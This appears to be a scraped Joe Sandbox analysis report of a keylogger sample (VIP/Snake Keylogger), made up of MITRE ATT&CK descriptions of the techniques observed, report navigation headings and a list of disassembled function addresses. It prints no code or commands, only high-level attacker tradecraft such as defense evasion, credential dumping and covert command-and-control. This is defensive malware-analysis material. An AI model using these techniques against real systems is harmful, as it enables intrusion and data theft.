Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 7DI4iYwcvw.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\juvenilely

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Windows Analysis Report
7DI4iYwcvw.exe

Function 061B9548 Relevance: 1.9, APIs: 1, Instructions: 357
COMMON

Function 061B0B30 Relevance: .7, Instructions: 709
COMMON

Function 00FD6FC8 Relevance: .4, Instructions: 449
COMMON

Function 061BDE00 Relevance: .3, Instructions: 268
COMMON

Function 061B2968 Relevance: .3, Instructions: 268
COMMON

Function 061B992C Relevance: 1.6, APIs: 1, Instructions: 62
libraryCOMMON

Function 00FDAEF0 Relevance: 1.4, Strings: 1, Instructions: 138
COMMON

Function 00FDE018 Relevance: .6, Instructions: 647
COMMON